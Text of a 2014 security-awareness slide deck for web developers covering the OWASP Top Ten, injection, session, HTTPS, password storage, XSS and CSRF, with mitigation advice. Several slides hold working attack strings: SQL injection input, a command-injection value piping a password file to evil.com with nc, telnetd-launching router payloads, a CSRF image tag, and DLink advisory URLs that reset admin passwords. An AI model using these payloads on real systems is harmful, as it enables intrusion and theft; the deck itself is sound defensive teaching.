Published on March 11, 2014
Attacking Web Applications Sasha Goldshtein CTO, Sela Group blog.sashag.net @goldshtn
Sasha Goldshtein @goldshtn Every web developer must be aware of the most common web attacks, risks, and mitigations. Don’t fly blind.
Sasha Goldshtein @goldshtn Typical Risks § Exposure of user information - Passwords, emails, identity theft § Direct financial gain - Credit card details § Creating a botnet - Using servers/user systems for malicious activity § Denial of service § Some serious damage™ - Considering that more and more embedded systems serve stuff over HTTP
Sasha Goldshtein @goldshtn Are They Really After Me? 1. They could be, if you’re important. 2. They are after your users. 3. They are after your servers. 4. They found you randomly on the web.
Sasha Goldshtein @goldshtn OWASP Top Ten 1. Injection 2. Broken auth and session management 3. Cross-site scripting 4. Insecure direct object references 5. Security misconfiguration 6. Sensitive data exposure 7. Missing function level access control 8. Cross-site request forgery 9. Using vulnerable components 10. Unvalidated redirects and forwards
Sasha Goldshtein @goldshtn SQL Injection § Suppose the user request parameter is … ' or '1'='1 § Then the query we execute is … select * from users where (name='' or '1'='1') and (password='whatever') db.ExecuteReader("select * from users where (name='" + Request["user"] + "') and (password='" + Request["password"] + "')");
Sasha Goldshtein @goldshtn
Sasha Goldshtein @goldshtn OS Command Injection § Suppose we’re too lazy to perform DNS lookup, so we resort to the following: § Suppose the hostname parameter is … foo || cat /etc/password | nc evil.com § Then we end up sending the password file to evil.com! § Most recent noisy exploit 10/9/2013 in DLink DIR-505 router firmware: request=ping_test&ip_addr=127.0.0.1; /usr/sbin/telnetd; system("nslookup " + Request["hostname"]);
Sasha Goldshtein @goldshtn DEMO SQL injection and OS command injection
Sasha Goldshtein @goldshtn Mitigating Injections § DO NOT trust user input § DO NOT run code provided by the user § DO NOT use blacklists for validation § DO use SQL query parameters (?, @param, :param) § DO use whitelists and regexes for validation § DO fuzz your code with invalid input
Sasha Goldshtein @goldshtn Sessions and Cookies § Most web applications today store sensitive user data in cookies § At the very least, the session identifier is stored in a cookie - Cookies are tasty § Don’t store anything else in cookies and don’t trust them - What if the client sends you: Cookie: username=dave;permissions=admin
Sasha Goldshtein @goldshtn DEMO Exploiting vulnerable session information
Sasha Goldshtein @goldshtn Sessions and URLs • DO NOT embed session id in URLs • DO NOT trust cookie contents • DO NOT trust URL query string contents http://example.com/delete_account.php?account_name=sasha • DO NOT use predictable session ids http://example.com/cart.php?sess=127 • DO use a Secure, HttpOnly cookie for session id • DO use long, random session ids
Sasha Goldshtein @goldshtn HTTP and HTTPS § Surprisingly many web applications still use HTTP to transmit sensitive information § Your HTTP traffic is freely available to: - Your Starbucks barista - Your family members - Your ISP - Your boss § As a developer, you are responsible for your users sensitive information
Sasha Goldshtein @goldshtn DEMO Manipulating HTTP traffic
Sasha Goldshtein @goldshtn You Have Been Pineappled § WiFi Pineapple is a mobile pentesting device - ARM SOC, RAM, internal storage, USB storage, WiFi, Ethernet, 3G modem support § Karma mode Is this the KatieHomeWiFi? Is this the Starbucks WiFi? Is this the JFKAirportWiFi? Sure
Sasha Goldshtein @goldshtn DroidSheep and zANTI
Sasha Goldshtein @goldshtn Use HTTPS Correctly § DO NOT send sensitive information over HTTP § DO NOT display login pages over HTTP § DO NOT load HTTP frames/scripts/images in an otherwise HTTPS page § DO insist on pure HTTPS for sensitive pages § DO use Secure cookies for sensitive data (reminder) And, as a user: § DO NOT connect to unsecured Wi-Fi networks (like “Free WiFi” or “Fluent”) § DO use a VPN in insecure environments
Sasha Goldshtein @goldshtn Storing Sensitive Information § DO NOT store anything you don’t have to store - Least responsibility principle § DO comply with regulation for secure storage - E.g. if you store credit card details, you’re in for some pain
Sasha Goldshtein @goldshtn DEMO Rainbow tables and weak passwords
Sasha Goldshtein @goldshtn http://haveibeenpwned.com by Troy Hunt
Sasha Goldshtein @goldshtn “Password” unseated by “123456” on SplashData’s annual “Worst Passwords” list 1. 123456 2. password 3. 12345678 4. qwerty 5. abc123 6. 123456789 7. 111111 8. 1234567 9. iloveyou 10. adobe123 11. 123123 12. admin 13. 1234567890 14. letmein 15. photoshop 16. 1234 17. monkey 18. shadow 19. sunshine 20. 12345 21. password1 22. princess 23. azerty 24. trustno1 25. 000000
Sasha Goldshtein @goldshtn Password Storage § DO NOT store passwords in clear text § DO NOT store encrypted passwords § DO hash and salt passwords § DO reject weak passwords during signup § DO consider using OAuth § DISCUSS which hash function to use - Super-slow (bcrypt) – subject to DOS - Super-fast (MD5, SHA1) – subject to cracking
Sasha Goldshtein @goldshtn DEMO Persistent and temporary XSS
Sasha Goldshtein @goldshtn Cross-Site Request Forgery (CSRF) § Use the fact that the user is already authenticated to a website to generate requests on his behalf <img src="http://forum.com/delete_profile.php?confirmed=True" /> § Interesting variation: use CSRF to login into YouTube with the attacker’s credentials; then, Google history is stored into the attacker’s account - “I used to know what you watched on YouTube”
Sasha Goldshtein @goldshtn DEMO Persistent and temporary XSS
Sasha Goldshtein @goldshtn 70 Ways To Encode < < %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < x3c x3C u003c u003C
Sasha Goldshtein @goldshtn Mitigating XSS and CSRF § DO NOT trust user input (déjà vu?) § DO NOT allow GETs to modify state § DO NOT rely on blacklists § DO escape and sanitize HTML provided by the user § DO use whitelists or a non-HTML format like Markdown § DO generate anti-CSRF tokens and validate them § DO validate Referer headers
Sasha Goldshtein @goldshtn Admin Consoles § DO NOT leave admin consoles exposed to the Internet § DO NOT provide “extra helpful” troubleshooting info § DO restrict admin consoles to local network only § DO whitelist IP addresses if absolutely necessary Some auth cookies… yum!
Sasha Goldshtein @goldshtn DEMO Locating admin consoles through Google
Sasha Goldshtein @goldshtn DLink DIR-615 and DIR-300 Security Advisory • OS command injection http://<IP>/tools_vct.xgi?set/runtime/switch/getlinktype=1&set/runtime/diagnostic/ pingIp=184.108.40.206`telnetd`&pingIP=220.127.116.11 • CSRF to change admin password and enable remote administration (Internet-facing) http://<IP>/tools_admin.php?ACTION_POST=1&apply=Save +Settings&admin_name=admin&admin_password1=admin1&admin_password2=admin1&grap_auth_enable_h =0&rt_enable=on&rt_enable_h=1&rt_ipaddr=0.0.0.0&rt_port=8080 • Information disclosure http://<IP>/DevInfo.txt • Insecure password storage $ cat var/etc/httpasswd admin:admin
Sasha Goldshtein @goldshtn Summary & Call To Action § Be aware of security risks and typical vulnerabilities § Ensure your developers get up to date security training § Learn how to use the mitigation and prevention tools in your Web framework § Review code for security, not just correctness § If your web app is secure, attackers will try other routes
Thank You! Sasha Goldshtein CTO, Sela Group blog.sashag.net @goldshtn
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